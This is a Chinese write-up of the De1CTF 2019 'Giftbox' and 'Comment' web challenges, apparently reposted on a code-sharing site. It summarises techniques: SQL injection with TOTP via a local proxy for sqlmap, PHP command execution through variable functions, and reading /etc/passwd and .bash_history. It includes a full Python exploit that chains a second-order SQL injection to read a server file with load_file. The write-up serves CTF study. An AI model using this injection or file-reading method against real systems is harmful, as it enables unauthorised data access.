刷題記錄:[De1CTF 2019]Giftbox && Comment


刷題記錄:[De1CTF 2019]Giftbox && Comment

題目復現鏈接:https://buuoj.cn/challenges
參考鏈接:De1CTF Web WriteUp
BUUCTF平台 web writeup 第三彈

一、知識點

1、sql注入 && totp

totp

TOTP算法(Time-based One-time Password algorithm)是一種從共享密鑰和當前時間計算一次性密碼的算法。 它已被采納為Internet工程任務組標准RFC 6238,是Initiative for Open Authentication(OATH)的基石,並被用於許多雙因素身份驗證系統。
TOTP是基於散列的消息認證碼(HMAC)的示例。 它使用加密哈希函數將密鑰與當前時間戳組合在一起以生成一次性密碼。 由於網絡延遲和不同步時鍾可能導致密碼接收者必須嘗試一系列可能的時間來進行身份驗證,因此時間戳通常以30秒的間隔增加,從而減少了潛在的搜索空間。

盲注時需要附上totp的值。這里學到另一個操作:在本地開個flask,負責轉發消息到靶機,然后對本地服務跑sqlmap

2、RCE

{$a($b)}可以執行命令,a為函數名,b為參數。
有個地方要注意的是/不能直接傳入,要用chr()轉。

3、源碼泄露

“據我長期觀察,50%的CTF題目打開都是一個登陸頁面,而其中又有60%的可以用各種方式拿到源碼” ——P神

4、敏感文件讀取

  • /etc/passwd 可以查看有沒有什么多出來的用戶或者別的提示
  • .bash_history 查看命令行歷史操作

附上comment的exp,正則學的太爛了

import requests
import random
import re

url = "http://3f0bfbea-efd6-4ea2-a298-7e51a05de258.node3.buuoj.cn"

s = requests.session()


def ran_str():
    string = ""
    for i in range(6):
        string += chr(random.randint(ord('A'), ord('Z')))

    return string


def login():
    data = {
        "username": "zhangwei",
        "password": "zhangwei666"
    }
    s.post(url + "/login.php", data=data)


def write(payload):
    ran_string = ran_str()
    data = {
        'title': ran_string,
        'category': "',content=("+payload+"),/*",
        'content': '1'
    }
    s.post(url + "/write_do.php?do=write", data=data)
    return ran_string


def comment(id):
    data = {
        'content': "*/#",
        'bo_id': id
    }
    s.post(url + "/write_do.php?do=comment", data=data)


def main():
    payload = "select (load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))"
    login()
    ran_string = write(payload)
    result = re.search("<tr><td>.*</td><td class='AutoNewline'>.*</td><td class='AutoNewline'>"+ran_string+"</td>", s.get(url).text)
    id = str(result.group(0).split('</td>')[0][8:])
    comment(id)
    result = re.split("<p>", s.get(url + "/comment.php?id=" + str(id)).text)[2]
    content = result[:result.index('</p>')]
    print(content)


if __name__ == '__main__':
    main()


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM